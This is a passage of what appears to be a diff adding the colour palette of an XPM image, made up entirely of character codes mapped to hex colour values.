c #3B4111", +"07 c #808440", +"a7 c #BFC561", +"b7 c #F1F87B", +"c7 c #FFFF82", +"d7 c #7E7F46", +"e7 c #C6B7B9", +"f7 c #DACFC2", +"g7 c #3B3B24", +"h7 c #5B5C2C", +"i7 c #838349", +"j7 c #C3C36D", +"k7 c #E2E181", +"l7 c #E9E683", +"m7 c #F8F182", +"n7 c #F2EE82", +"o7 c #F0EB82", +"p7 c #ECE883", +"q7 c #A39F53", +"r7 c #A3988F", +"s7 c #FFFCDF", +"t7 c #FDF5D9", +"u7 c #CCC2B4", +"v7 c #292814", +"w7 c #424011", +"x7 c #484421", +"y7 c #BDB9B2", +"z7 c #FFFEFA", +"A7 c #F9F0E3", +"B7 c #FCF2E5", +"C7 c #F3E8DA", +"D7 c #F2E6D6", +"E7 c #EEE0C9", +"F7 c #E8D7BD", +"G7 c #FFEBC3", +"H7 c #FBE3B5", +"I7 c #625744", +"J7 c #28240E", +"K7 c #6D6136", +"L7 c #8D7D4B", +"M7 c #A38E62", +"N7 c #B9A572", +"O7 c #FEF974", +"P7 c #F2EF6F", +"Q7 c #C7BC6E", +"R7 c #A08D6D", +"S7 c #AB926C", +"T7 c #CAAC6B", +"U7 c #D7B56A", +"V7 c #DFB868", +"W7 c #E5BB67", +"X7 c #E9BC66", +"Y7 c #EBBD64", +"Z7 c #EBBB63", +"`7 c #EBB961", +" 8 c #EAB860", +".8 c #E7B55E", +"+8 c #E2B05D", +"@8 c #D9A95C", +"#8 c #D0A35A", +"$8 c #B88659", +"%8 c #DBBF57", +"&8 c #FFF959", +"*8 c #C59154", +"=8 c #BC6A24", +"-8 c #6F3713", +";8 c #4F211E", +">8 c #CC6720", +",8 c #FFE248", +"'8 c #F7FF51", +")8 c #F5FE4F", +"!8 c #F5FE50", +"~8 c #F6FE53", +"{8 c #F5FE56", +"]8 c #F3FC58", +"^8 c #F0F959", +"/8 c #EBF25B", +"(8 c #E4EC5C", +"_8 c #DCE25E", +":8 c #CBD35F", +"<8 c #D3D761", +"[8 c #F9F462", +"}8 c #FBF563", +"|8 c #D5DA65", +"18 c #CBD365", +"28 c #D7DE67", +"38 c #DFE568", +"48 c #E3E969", +"58 c #E6ED6B", +"68 c #989B48", +"78 c #B5A49E", +"88 c #FFF7E0", +"98 c #FBEFE0", +"08 c #F5E6D8", +"a8 c #636044", +"b8 c #52581C", +"c8 c #8B9044", +"d8 c #CDD265", +"e8 c #B9C04D", +"f8 c #8D847D", +"g8 c #F0E1CA", +"h8 c #837D6F", +"i8 c #2A2D09", +"j8 c #71713F", +"k8 c #A1A158", +"l8 c #DDDC78", +"m8 c #EFEC82", +"n8 c #E5E380", +"o8 c #E2DE7F", +"p8 c #E8E580", +"q8 c #F0EA80", +"r8 c #EFEA80", +"s8 c #F2EE87", +"t8 c #BBB75F", +"u8 c #9C937F", +"v8 c #A29A89", +"w8 c #645F53", +"x8 c #B9B2AC", +"y8 c #FFFCF5", +"z8 c #F7EEE2", +"A8 c #F7EFE4", +"B8 c #F7EFE5", +"C8 c #F7EEE3", +"D8 c #F1E5D5", +"E8 c #FFF3CA", +"F8 c #EAD4AA", +"G8 c #4F4636", +"H8 c #2D2911", +"I8 c #74673A", +"J8 c #92814D", +"K8 c #AA9463", +"L8 c #C5AE71", +"M8 c #FFF973", +"N8 c #E9E26F", +"O8 c #CDC16E", +"P8 c #AD9A6D", +"Q8 c #A58D6C", +"R8 c #BFA36B", +"S8 c #D0B16A", +"T8 c #D9B769", +"U8 c #E2BA67", +"V8 c #E7BC66", +"W8 c #EABD65", +"X8 c #ECBD64", +"Y8 c #EBBC62", +"Z8 c #E9B85F", +"`8 c #E7B45E", +" 9 c #E2B05C", +".9 c #DAAA5B", +"+9 c #D1A459", +"@9 c #C19458", +"#9 c #B88B57", +"$9 c #FFFC55", +"%9 c #E1CA57", +"&9 c #BF8353", +"*9 c #C57225", +"=9 c #723914", +"-9 c #FFE247", +";9 c #F6FF4F", +">9 c #F5FE4D", +",9 c #F5FE4E", +"'9 c #F5FE53", +")9 c #F3FD54", +"!9 c #F0F956", +"~9 c #EBF357", +"{9 c #E3EA59", +"]9 c #D9E05A", +"^9 c #C7D05C", +"/9 c #DADC5D", +"(9 c #FFFB5E", +"_9 c #EFEC60", +":9 c #CBD161", +"<9 c #CFD763", +"[9 c #DDE464", +"}9 c #E3E965", +"|9 c #E8EF66", +"19 c #EDF367", +"29 c #F0F768", +"39 c #F3FB6A", +"49 c #F9FF61", +"59 c #A7A55E", +"69 c #DCC9C3", +"79 c #F7EAD7", +"89 c #FFF8E5", +"99 c #DED1C4", +"09 c #51512E", +"a9 c #646928", +"b9 c #989D4A", +"c9 c #DFE56D", +"d9 c #F6FB6E", +"e9 c #848351", +"f9 c #DDCFCE", +"g9 c #F9F0D8", +"h9 c #FEFAE2", +"i9 c #DFD2C3", +"j9 c #403E24", +"k9 c #5A5B2A", +"l9 c #7E7E45", +"m9 c #C1C067", +"n9 c #ECEA7D", +"o9 c #F2EE7F", +"p9 c #ECE97D", +"q9 c #E7E47D", +"r9 c #E3DE7D", +"s9 c #DED97E", +"t9 c #DBD57E", +"u9 c #DCD57E", +"v9 c #EAE37F", +"w9 c #7C774F", +"x9 c #CFBEB6", +"y9 c #FFF6D5", +"z9 c #EBDDC2", +"A9 c #FFF8E2", +"B9 c #F6ECDE", +"C9 c #F7F0E6", +"D9 c #F3E7D7", +"E9 c #EEE0CD", +"F9 c #F6E5CA", +"G9 c #FFFAD0", +"H9 c #C6B391", +"I9 c #393324", +"J9 c #322D14", +"K9 c #786B3E", +"L9 c #8E7D50", +"M9 c #AD9664", +"N9 c #DAC870", +"O9 c #F8ED72", +"P9 c #DED170", +"Q9 c #C1AD6E", +"R9 c #B09A6D", +"S9 c #AA926C", +"T9 c #BAA16B", +"U9 c #CAAE6A", +"V9 c #D2B269", +"W9 c #DBB868", +"X9 c #E2BB66", +"Y9 c #E7BC65", +"Z9 c #E9BC64", +"`9 c #EABC63", +" 0 c #E9BB62", +".0 c #E8B960", +"+0 c #E6B55F", +"@0 c #E3B35D", +"#0 c #DEAE5C", +"$0 c #D8A95B", +"%0 c #D0A459", +"&0 c #C49957", +"*0 c #AE7C56", +"=0 c #E9D655", +"-0 c #FCF353", +";0 c #B98B55", +">0 c #CF9651", +",0 c #CC7526", +"'0 c #753B15", +")0 c #FFE246", +"!0 c #F6FF4D", +"~0 c #F4FE4B", +"{0 c #F3FD51", +"]0 c #F0F952", +"^0 c #EAF354", +"/0 c #E2EA55", +"(0 c #D7DE57", +"_0 c #C2CC58", +":0 c #E1E15A", +"<0 c #FFFE5B", +"[0 c #DEDF5C", +"}0 c #C5CE5D", +"|0 c #D4DC5F", +"10 c #E1E760", +"20 c #E6EE62", +"30 c #ECF362", +"40 c #F0F864", +"50 c #F3FB65", +"60 c #F5FD66", +"70 c #FCFF6A", +"80 c #E2EF51", +"90 c #A69F6E", +"00 c #F5E0D6", +"a0 c #FFFFF0", +"b0 c #B9AFA0", +"c0 c #3C3F15", +"d0 c #737733", +"e0 c #A5A94E", +"f0 c #B4BB4A", +"g0 c #9F9490", +"h0 c #817B6C", +"i0 c #343509", +"j0 c #706F3C", +"k0 c #9D9C54", +"l0 c #DAD772", +"m0 c #F2EE7C", +"n0 c #F1EE7B", +"o0 c #EEEB7A", +"p0 c #EAE67B", +"q0 c #E7E17B", +"r0 c #E3DD7B", +"s0 c #E0DA7B", +"t0 c #DED67A", +"u0 c #EFE685", +"v0 c #B8B260", +"w0 c #686053", +"x0 c #EADCCC", +"y0 c #FFFFDC", +"z0 c #F2E3C8", +"A0 c #F1E4CF", +"B0 c #F2E6D7", +"C0 c #F6EDE2", +"D0 c #F1E3D1", +"E0 c #FFFBDC", +"F0 c #FFECC7", +"G0 c #887C63", +"H0 c #242113", +"I0 c #403A1F", +"J0 c #746844", +"K0 c #847354", +"L0 c #B9A767", +"M0 c #F0E470", +"N0 c #F4E971", +"O0 c #C8B66E", +"P0 c #AD956D", +"Q0 c #B39C6C", +"R0 c #BCA46B", +"S0 c #C3A96A", +"T0 c #C9AD68", +"U0 c #CFB067", +"V0 c #D5B466", +"W0 c #DBB765", +"X0 c #E0B864", +"Y0 c #E1B763", +"Z0 c #E2B761", +"`0 c #E1B560", +" a c #DFB45F", +".a c #DDB05E", +"+a c #DAAD5D", +"@a c #D6AA5B", +"#a c #D2A65A", +"$a c #CDA258", +"%a c #BF9257", +"&a c #AE7D56", +"*a c #DAC254", +"=a c #FFFF52", +"-a c #C7A051", +";a c #BC8952", +">a c #D89E4F", +",a c #D37927", +"'a c #783D16", +")a c #FFE144", +"!a c #F6FF4B", +"~a c #F4FE49", +"{a c #F4FF4B", +"]a c #F4FE4C", +"^a c #F4FE4D", +"/a c #F1FA4F", +"(a c #EBF450", +"_a c #E2EA52", +":a c #D8E053", +"b c #CAA059", +",b c #C29758", +"'b c #B28256", +")b c #B58955", +"!b c #E7D753", +"~b c #D6B851", +"{b c #B67F4F", +"]b c #CE9C50", +"^b c #DD9F4E", +"/b c #D97C28", +"(b c #7B3E16", +"_b c #FFDF43", +":b c #F5FF49", +"c c #CAA25D", +",c c #C79F5C", +"'c c #C49B5B", +")c c #BD935A", +"!c c #B68B58", +"~c c #B48957", +"{c c #BB9356", +"]c c #D4BB54", +"^c c #FAF553", +"/c c #F9F352", +"(c c #CAA750", +"_c c #B5804F", +":c c #CB974D", +"d c #EDE367", +",d c #EBE066", +"'d c #E3D965", +")d c #DED264", +"!d c #CCBE63", +"~d c #CAB962", +"{d c #C8B561", +"]d c #C7B060", +"^d c #CCB25F", +"/d c #C8AB5D", +"(d c #C5A45C", +"_d c #C3A05B", +":d c #C5A35A", +"e c #9A934D", +",e c #DED566", +"'e c #FFFF6B", +")e c #FFFF69", +"!e c #FDF668", +"~e c #F3EB67", +"{e c #F8F066", +"]e c #FFF865", +"^e c #FFFF64", +"/e c #FFFF63", +"(e c #FFFF62", +"_e c #FFFE61", +":e c #FFFF5F", +"f c #F1E3D2", +",f c #FFFBE1", +"'f c #A0947D", +")f c #272210", +"!f c #574D33", +"~f c #6C5F4F", +"{f c #C9BE66", +"]f c #F5F46A", +"^f c #D5CD67", +"/f c #B2A666", +"(f c #9E8F66", +"_f c #A08D65", +":f c #A59264", +"g c #DFD36C", +",g c #DED16C", +"'g c #D4C56B", +")g c #D3C46B", +"!g c #F0E76B", +"~g c #FAF36B", +"{g c #F4EA73", +"]g c #8C8143", +"^g c #A5998F", +"/g c #F1E4D3", +"(g c #FFF9DF", +"_g c #A0937B", +":g c #2D280F", +"h c #F0E969", +",h c #E7E068", +"'h c #BCB668", +")h c #CEC768", +"!h c #F7EF69", +"~h c #E0D769", +"{h c #D5CB69", +"]h c #E1D569", +"^h c #E2D569", +"/h c #E4D669", +"(h c #DED069", +"_h c #D2C269", +":h c #DDD069", +"i c #C5B4A1", +",i c #2F2E10", +"'i c #646227", +")i c #88843C", +"!i c #C1BB58", +"~i c #CEC865", +"{i c #DBD466", +"]i c #EAE265", +"^i c #B7B065", +"/i c #EBE366", +"(i c #E4DC66", +"_i c #CCC366", +":i c #E0D466", +"j c #FFFAE9", +",j c #D5C8C2", +"'j c #3C3921", +")j c #57570C", +"!j c #615D3E", +"~j c #EEDED0", +"{j c #F6E6C9", +"]j c #EBDABC", +"^j c #766E5C", +"/j c #313206", +"(j c #726E31", +"_j c #A39E46", +":j c #D3CB5D", +"k c #D6D649", +",k c #DADA4B", +"'k c #DCDC4C", +")k c #D5D64D", +"!k c #E6E34E", +"~k c #F9F251", +"{k c #B5BA37", +"]k c #847B54", +"^k c #F3DCC5", +"/k c #EFE0CB", +"(k c #BDB3AC", +"_k c #414111", +":k c #414203", +"l c #ECE43F", +",l c #8F8E41", +"'l c #9A9A42", +")l c #A9AA43", +"!l c #B4B444", +"~l c #E9E246", +"{l c #E9E347", +"]l c #CDCE47", +"^l c #D7D649", +"/l c #D5D34B", +"(l c #F1EA4C", +"_l c #EAE751", +":l c #A9AB32", +"m c #E7E238", +",m c #D8D339", +"'m c #C6C13A", +")m c #A6A33B", +"!m c #CFC63D", +"~m c #E5DF3F", +"{m c #A4A240", +"]m c #B4B141", +"^m c #E8E043", +"/m c #F1E844", +"(m c #CECA45", +"_m c #D2CF46", +":m c #D5D247", +"n c #E1993A", +",n c #E99A3B", +"'n c #FDD035", +")n c #F1F532", +"!n c #F1E734", +"~n c #F0E834", +"{n c #E8E136", +"]n c #D9D437", +"^n c #CAC538", +"/n c #A9A73A", +"(n c #A8A43A", +"_n c #FFFA3C", +":n c #F7F13D", +"o c #D39B43", +",o c #DC9F42", +"'o c #E09F41", +")o c #E29F40", +"!o c #E39F3D", +"~o c #E39D3C", +"{o c #E39B3B", +"]o c #E29A3C", +"^o c #E39C40", +"/o c #E29E41", +"(o c #EA9C40", +"_o c #CC6A23", +":o c #FCCE34", +"p c #B28348", +",p c #C3A546", +"'p c #FFFF45", +")p c #FFFF44", +"!p c #DAC944", +"~p c #A57A43", +"{p c #AB7842", +"]p c #C99440", +"^p c #D3983F", +"/p c #D99B3F", +"(p c #DF9E40", +"_p c #E2A041", +":p c #E4A244", +"

    q c #B39A75", +",q c #3F3E16", +"'q c #6D6721", +")q c #857438", +"!q c #9E7E4A", +"~q c #BA954E", +"{q c #CDA64C", +"]q c #D5A94B", +"^q c #DFAE4A", +"/q c #E4B04A", +"(q c #E7B149", +"_q c #E6B048", +":q c #E0AB47", +"r c #F5E7DC", +",r c #F5E7DF", +"'r c #F5E8E0", +")r c #F7EBE1", +"!r c #FAEEE3", +"~r c #FBEFE3", +"{r c #FAEDE1", +"]r c #F7EADC", +"^r c #F3E4D3", +"/r c #EEDCC7", +"(r c #E7D1B4", +"_r c #F8D8A7", +":r c #AA9071", +"s c #CCB750", +",s c #FFF559", +"'s c #DACE3D", +")s c #5C502E", +"!s c #A8988C", +"~s c #FFEDCC", +"{s c #EFDBBD", +"]s c #EBD9C2", +"^s c #EFDECA", +"/s c #F0E0CF", +"(s c #F3E4D6", +"_s c #F4E4D8", +":s c #F4E4DA", +"t c #343202", +",t c #706826", +"'t c #A79B3A", +")t c #C6B649", +"!t c #C7B64C", +"~t c #EEE24B", +"{t c #C6B94C", +"]t c #D5C94C", +"^t c #DFD14D", +"/t c #C2AE4D", +"(t c #D4BF4D", +"_t c #D6C14D", +":t c #D5C04D", +"u c #FFF5E5", +",u c #F0DDCB", +"'u c #EDDBC4", +")u c #F3DDBE", +"!u c #DAC1A5", +"~u c #484125", +"{u c #4D4910", +"]u c #79702A", +"^u c #A99A3E", +"/u c #C5B549", +"(u c #F3E84B", +"_u c #D9CC4A", +":u c #AC9A4A", +"v c #887836", +",v c #DFC2AE", +"'v c #E8D1B3", +")v c #F5E6D7", +"!v c #F6E7DB", +"~v c #FDEFE6", +"{v c #DED1C6", +"]v c #E3D4C6", +"^v c #FEEDDD", +"/v c #EEDDC9", +"(v c #B5A087", +"_v c #302C0B", +":v c #5A521D", +"w c #DEC700", +",w c #D7C100", +"'w c #C7B100", +")w c #D6C400", +"!w c #E4D400", +"~w c #BDA700", +"{w c #D1BB00", +"]w c #948600", +"^w c #7B6A49", +"/w c #F6D6B4", +"(w c #E8D2B3", +"_w c #ECDAC3", +":w c #EFDECE", +"x c #E7CB00", +",x c #DAC000", +"'x c #CDB500", +")x c #B7A100", +"!x c #EEDF00", +"~x c #B29F00", +"{x c #BDA800", +"]x c #CEB800", +"^x c #DCC400", +"/x c #D6BF00", +"(x c #C5AE00", +"_x c #D9C700", +":x c #E3D200", +"y c #B56500", +",y c #C56E00", +"'y c #D47400", +")y c #D87400", +"!y c #E07705", +"~y c #7E441D", +"{y c #F7BC12", +"]y c #E8D500", +"^y c #E9CB00", +"/y c #E7CA00", +"(y c #DCC100", +"_y c #CFB600", +":y c #BDA400", +"z c #CA7800", +",z c #B86D00", +"'z c #A15800", +")z c #915100", +"!z c #FDF000", +"~z c #D4B300", +"{z c #8E3F00", +"]z c #B36400", +"^z c #C56C00", +"/z c #D67200", +"(z c #E07505", +"_z c #F7BA12", +":z c #E8D200", +"A c #D38400", +",A c #D88500", +"'A c #DA8300", +")A c #DB8400", +"!A c #DE8500", +"~A c #D98200", +"{A c #C97800", +"]A c #B86C00", +"^A c #9E5400", +"/A c #9C5E00", +"(A c #FFFC00", +"_A c #914100", +":A c #B46400", +"B c #9F5700", +",B c #BE7700", +"'B c #CE8100", +")B c #D38100", +"!B c #D78200", +"~B c #DA8400", +"{B c #D58100", +"]B c #C67600", +"^B c #B56A00", +"/B c #984D00", +"(B c #A16700", +"_B c #B98A00", +":B c #954500", +"C c #9D6300", +",C c #C3A200", +"'C c #DFD100", +")C c #E4D200", +"!C c #D3BE00", +"~C c #CFB300", +"{C c #D7BE00", +"]C c #E1CE00", +"^C c #CAA000", +"/C c #A95C00", +"(C c #C27500", +"_C c #CC7E00", +":C c #D28000", +"D c #352500", +",D c #6F4C00", +"'D c #9D6C00", +")D c #CA8B00", +"!D c #CC8B00", +"~D c #B07000", +"{D c #A16600", +"]D c #F1E200", +"^D c #DEC600", +"/D c #A37000", +"(D c #844500", +"_D c #8A4A00", +":D c #A76E00", +"E c #DCA475", +",E c #E8AA72", +"'E c #654A26", +")E c #362500", +"!E c #704D00", +"~E c #C28600", +"{E c #B37800", +"]E c #996200", +"^E c #E5D700", +"/E c #F7F900", +"(E c #A57B00", +"_E c #824200", +":E c #965800", +"F c #E3B095", +",F c #E5B297", +"'F c #E5B292", +")F c #E3AE89", +"!F c #E1AB80", +"~F c #E6AB77", +"{F c #534028", +"]F c #291E08", +"^F c #583F10", +"/F c #765416", +"(F c #825B18", +"_F c #754E15", +":F c #795715", +"G c #DEAB00", +",G c #6D530C", +"'G c #945932", +")G c #C88747", +"!G c #CD975C", +"~G c #DCAA70", +"{G c #D9A783", +"]G c #DCAA91", +"^G c #E3B198", +"/G c #E6B399", +"(G c #E6B294", +"_G c #E3AF8C", +":G c #E0AA83", +"H c #EDD900", +",H c #B98900", +"'H c #D4A100", +")H c #B08B00", +"!H c #734C1B", +"~H c #BE7335", +"{H c #BC8149", +"]H c #CD975E", +"^H c #DFAD73", +"/H c #DDAC86", +"(H c #DCA993", +"_H c #E2B099", +":H c #E5B399", +"I c #F1DE00", +",I c #CDA700", +"'I c #D79E00", +")I c #886C04", +"!I c #734424", +"~I c #C77931", +"{I c #BC8047", +"]I c #CA935B", +"^I c #DCAA71", +"/I c #E1B084", +"(I c #DCAA92", +"_I c #E2AF99", +":I c #E5B099", +"J c #584500", +",J c #7F6300", +"'J c #B88F00", +")J c #D0A100", +"!J c #BB8700", +"~J c #E5CC00", +"{J c #E7D000", +"]J c #D29700", +"^J c #7A6009", +"/J c #774227", +"(J c #C3732B", +"_J c #BA7B40", +":J c #C58C55", +"K c #BB6A27", +",K c #8B5227", +"'K c #2D2809", +")K c #594600", +"!K c #C29500", +"~K c #D4A300", +"{K c #C69300", +"]K c #C89F00", +"^K c #F0DE00", +"/K c #D4A200", +"(K c #947303", +"_K c #643B21", +":K c #BF682A", +"L c #AB5C28", +",L c #AC6124", +"'L c #A96029", +")L c #422F11", +"!L c #433900", +"~L c #826500", +"{L c #BD9200", +"]L c #D09F00", +"^L c #B88300", +"/L c #E4CA00", +"(L c #CA8F00", +"_L c #796109", +":L c #5E3123", +"M c #A45527", +",M c #A65B22", +"'M c #BF6827", +")M c #663E1B", +"!M c #725800", +"~M c #AD8500", +"{M c #D2A100", +"]M c #C59100", +"^M c #D4A800", +"/M c #CC9600", +"(M c #755E07", +"_M c #532E1C", +":M c #A75C33", +"N c #9C8E10", +",N c #883B25", +"'N c #AA5C21", +")N c #B66023", +"!N c #864B24", +"~N c #221F07", +"{N c #5A4400", +"]N c #937200", +"^N c #C89900", +"/N c #D6A100", +"(N c #D09E00", +"_N c #B98300", +":N c #DDBF00", +"O c #A45620", +",O c #B35C25", +"'O c #452D15", +")O c #2D2600", +"!O c #785900", +"~O c #B38900", +"{O c #D2A000", +"]O c #CA9900", +"^O c #BD8800", +"/O c #D4AE00", +"(O c #B57A00", +"_O c #E0A400", +":O c #B78900", +"P c #1D0A03", +",P c #6C3B1E", +"'P c #BA5D20", +")P c #A0531E", +"!P c #B95C20", +"~P c #7B4321", +"{P c #1B1905", +"]P c #593D00", +"^P c #957100", +"/P c #C79A00", +"(P c #D3A100", +"_P c #D19E00", +":P c #BF8700", +"

    Q c #B05320", +",Q c #A0511C", +"'Q c #A2511C", +")Q c #B25621", +"!Q c #422C15", +"~Q c #262100", +"{Q c #735000", +"]Q c #B18500", +"^Q c #D09D00", +"/Q c #D29F00", +"(Q c #CE9C00", +"_Q c #B97C00", +":Q c #E3C600", +"R c #9E4D1C", +",R c #B4541C", +"'R c #7F411F", +")R c #212607", +"!R c #513500", +"~R c #8F6500", +"{R c #C29100", +"]R c #D29E00", +"^R c #CA9400", +"/R c #BC8100", +"(R c #EFDC00", +"_R c #F2E100", +":R c #B67B00", +"S c #333400", +",S c #684000", +"'S c #AA7A00", +")S c #CB9700", +"!S c #C68F00", +"~S c #BD8100", +"{S c #F1DF00", +"]S c #7A4B09", +"^S c #8A492B", +"/S c #C17638", +"(S c #C07E40", +"_S c #C28042", +":S c #C38341", +"T c #BD7033", +",T c #BE7A3B", +"'T c #C07C3E", +")T c #BC783C", +"!T c #BB7134", +"~T c #A75428", +"{T c #4E3D0F", +"]T c #4E4F00", +"^T c #593300", +"/T c #854500", +"(T c #B67200", +"_T c #C07D00", +":T c #C07A00", +"U c #A45A00", +",U c #AA5B00", +"'U c #BA7500", +")U c #BF7900", +"!U c #C07800", +"~U c #C27900", +"{U c #C37A00", +"]U c #C47C00", +"^U c #C67C00", +"/U c #C77C00", +"(U c #CB7C00", +"_U c #D08000", +":U c #D88600", +"V c #F8FF00", +",V c #EEE000", +"'V c #B87D00", +")V c #A25000", +"!V c #AC5B00", +"~V c #BB7200", +"{V c #C17900", +"]V c #C27A00", +"^V c #C57D00", +"/V c #C97E00", +"(V c #D18300", +"_V c #D88800", +":V c #DB8A00", +"W c #D58600", +",W c #DA8A00", +"'W c #DD8B00", +")W c #E08A00", +"!W c #E18B00", +"~W c #E18C00", +"{W c #E08500", +"]W c #E08400", +"^W c #E08300", +"/W c #DE7B00", +"(W c #DD7800", +"_W c #E57B05", +":W c #5F2E1A", +"X c #DC7700", +",X c #E67A05", +"'X c #7D431D", +")X c #5D2D1A", +"!X c #B96422", +"~X c #D89510", +"{X c #B78500", +"]X c #F2E200", +"^X c #ECD900", +"/X c #AD7400", +"(X c #C39200", +"_X c #CB9D00", +":X c #CEA100", +"Y c #E77B05", +",Y c #E48026", +"'Y c #5B2C19", +")Y c #B26122", +"!Y c #C8800F", +"~Y c #D4B400", +"{Y c #BF8F00", +"]Y c #BB8500", +"^Y c #CA9A00", +"/Y c #CE9F00", +"(Y c #CFA100", +"_Y c #CA9B00", +":Y c #B77F00", +"Z c #471826", +",Z c #592B19", +"'Z c #AD5E21", +")Z c #C37C0E", +"!Z c #F1E400", +"~Z c #C89500", +"{Z c #CB9A00", +"]Z c #CE9E00", +"^Z c #B27700", +"/Z c #FDFA00", +"(Z c #DCC300", +"_Z c #BF9000", +":Z c #B37D00", +"` c #B87F00", +",` c #C38F00", +"'` c #C49100", +")` c #BD8700", +"!` c #BA7800", +"~` c #A27501", +"{` c #432511", +"]` c #82140F", +"^` c #A4360F", +"/` c #9B4115", +"(` c #A04817", +"_` c #A04816", +":` c #983A14", +"<` c #8F2B0F", +"[` c #A6260C", +"}` c #511F13", +"|` c #262304", +"1` c #523000", +"2` c #937500", +"3` c #E9DE00", +"4` c #FEFE00", +"5` c #F2E300", +"6` c #E3C800", +"7` c #D9B800", +"8` c #CFA000", +"9` c #D4AC00", +"0` c #F5EA00", +"a` c #FEFF00", +"b` c #C29000", +"c` c #BF7300", +"d` c #59360C", +"e` c #691312", +"f` c #A13411", +"g` c #9B4016", +"h` c #A04A16", +"i` c #A34715", +"j` c #A32F13", +"k` c #3F0615", +"l` c #374007", +"m` c #C5CE00", +"n` c #E6DE00", +"o` c #C48600", +"p` c #9A5A00", +"q` c #633714", +"r` c #AE511E", +"s` c #B46320", +"t` c #B86921", +"u` c #B76721", +"v` c #B15D1E", +"w` c #B54917", +"x` c #5F2812", +"y` c #2E2303", +"z` c #623B00", +"A` c #A48800", +"B` c #EADC00", +"C` c #EFDB00", +"D` c #D19800", +"E` c #B65D00", +"F` c #B86200", +"G` c #BC6F00", +"H` c #AA4F00", +"I` c #AF5F00", +"J` c #CC9B00", +"K` c #D1A900", +"L` c #AB5A00", +"M` c #9F3800", +"N` c #B65A00", +"O` c #CB7400", +"P` c #D87F00", +"Q` c #DD8100", +"R` c #E07E00", +"S` c #E07B00", +"T` c #DF7B00", +"U` c #E77C05", +"V` c #592B18", +"W` c #AA5821", +"X` c #CB830E", +"Y` c #C89600", +"Z` c #BB8100", +"`` c #BA8500", +" . c #F3E800", +". . c #AC7000", +"+ . c #B47800", +"@ . c #C89700", +"# . c #CD9F00", +"$ . c #D1A400", +"% . c #D3A600", +"& . c #D3A700", +"* . c #CC9D00", +"= . c #C18F00", +"- . c #CE9000", +"; . c #946F05", +"> . c #350D13", +", . c #5C0010", +"' . c #8B1C0D", +") . c #98240C", +"! . c #97200C", +"~ . c #901C0C", +"{ . c #8A190E", +"] . c #5D1414", +"^ . c #25140D", +"/ . c #4C3A00", +"( . c #8C8800", +"_ . c #D4D500", +": . c #EFDF00", +"< . c #DAB700", +"[ . c #BC8000", +"} . c #BE8000", +"| . c #C48800", +"1 . c #C88E00", +"2 . c #C58700", +"3 . c #BD7B00", +"4 . c #BB7900", +"5 . c #F5DA00", +"6 . c #A77C02", +"7 . c #3C0611", +"8 . c #901D0F", +"9 . c #9B3C13", +"0 . c #9E4316", +"a . c #A14B16", +"b . c #A64815", +"c . c #A73414", +"d . c #440A16", +"e . c #212308", +"f . c #AEB000", +"g . c #B09B01", +"h . c #6A2F17", +"i . c #BB581D", +"j . c #B6651E", +"k . c #B9691F", +"l . c #B6651F", +"m . c #AF5A1B", +"n . c #B14415", +"o . c #552212", +"p . c #373103", +"q . c #6B4600", +"r . c #C17800", +"s . c #ECD600", +"t . c #CC8C00", +"u . c #B96100", +"v . c #B25A00", +"w . c #A64500", +"x . c #A54A00", +"y . c #BE8100", +"z . c #F6EF00", +"A . c #FCFC00", +"B . c #C69200", +"C . c #A04400", +"D . c #A13A00", +"E . c #BB6200", +"F . c #C66F00", +"G . c #CF7400", +"H . c #E07D00", +"I . c #E07C00", +"J . c #DF7900", +"K . c #E87C05", +"L . c #592A18", +"M . c #AB5522", +"N . c #F2C90F", +"O . c #C68E00", +"P . c #C89300", +"Q . c #C38D00", +"R . c #B17200", +"S . c #EDDB00", +"T . c #F6EE00", +"U . c #B37700", +"V . c #B87C00", +"W . c #CC9A00", +"X . c #D4A400", +"Y . c #DBAC00", +"Z . c #DEAF00", +"` . c #E0B100", +" .. c #DEB000", +"... c #D7A900", +"+.. c #CD9B00", +"@.. c #C18D00", +"#.. c #C17600", +"$.. c #AB8D03", +"%.. c #8E8D0C", +"&.. c #5B260D", +"*.. c #4D1410", +"=.. c #4D1610", +"-.. c #51210F", +";.. c #4F270C", +">.. c #382709", +",.. c #726D00", +"'.. c #A9A900", +").. c #B3A300", +"!.. c #BA7C00", +"~.. c #BF7F00", +"{.. c #C98F00", +"].. c #D09B00", +"^.. c #D4A000", +"/.. c #D6A200", +"(.. c #D8A400", +"_.. c #D7A400", +":.. c #D49F00", +"<.. c #CF9700", +"[.. c #BA7400", +"}.. c #CEA000", +"|.. c #F5EF00", +"1.. c #8A7D08", +"2.. c #430011", +"3.. c #A32D0D", +"4.. c #9B3F13", +"5.. c #A14515", +"6.. c #A54F15", +"7.. c #AC5114", +"8.. c #B34715", +"9.. c #581818", +"0.. c #0F050B", +"a.. c #948400", +"b.. c #B6B802", +"c.. c #874C19", +"d.. c #C4651A", +"e.. c #B8661D", +"f.. c #BA681E", +"g.. c #B6631C", +"h.. c #AD5619", +"i.. c #A93D12", +"j.. c #4F2011", +"k.. c #3C3403", +"l.. c #714C00", +"m.. c #A56E00", +"n.. c #CB7F00", +"o.. c #C66B00", +"p.. c #CB8000", +"q.. c #E6C300", +"r.. c #F3E500", +"s.. c #CD8B00", +"t.. c #BA5D00", +"u.. c #BA5C00", +"v.. c #BF6C00", +"w.. c #BF6E00", +"x.. c #BD6B00", +"y.. c #B75F00", +"z.. c #A43D00", +"A.. c #A84E00", +"B.. c #CB9B00", +"C.. c #B67600", +"D.. c #983500", +"E.. c #AA4600", +"F.. c #C26900", +"G.. c #CC7100", +"H.. c #E17E00", +"I.. c #E17D00", +"J.. c #E07A00", +"K.. c #E07800", +"L.. c #E87B05", +"M.. c #5A2A19", +"N.. c #B86423", +"O.. c #F7C910", +"P.. c #CF9A00", +"Q.. c #B57500", +"R.. c #CEA400", +"S.. c #B47300", +"T.. c #D6A600", +"U.. c #DFB100", +"V.. c #E8B500", +"W.. c #E9B500", +"X.. c #DDB000", +"Y.. c #C28700", +"Z.. c #B98000", +"`.. c #F8E000", +" +. c #A67601", +".+. c #917404", +"++. c #846E05", +"@+. c #826702", +"#+. c #846000", +"$+. c #C0B400", +"%+. c #D9D800", +"&+. c #B69100", +"*+. c #B07100", +"=+. c #C08100", +"-+. c #CC9300", +";+. c #CF9800", +">+. c #D29B00", +",+. c #D9A600", +"'+. c #DEAD00", +")+. c #DDAA00", +"!+. c #D9A500", +"~+. c #D6A000", +"{+. c #D09500", +"]+. c #E3C500", +"^+. c #6B5B0E", +"/+. c #6A000D", +"(+. c #A03A0F", +"_+. c #9F4313", +":+. c #A44A14", +"<+. c #AD5915", +"[+. c #B45D14", +"}+. c #C55B16", +"|+. c #79351A", 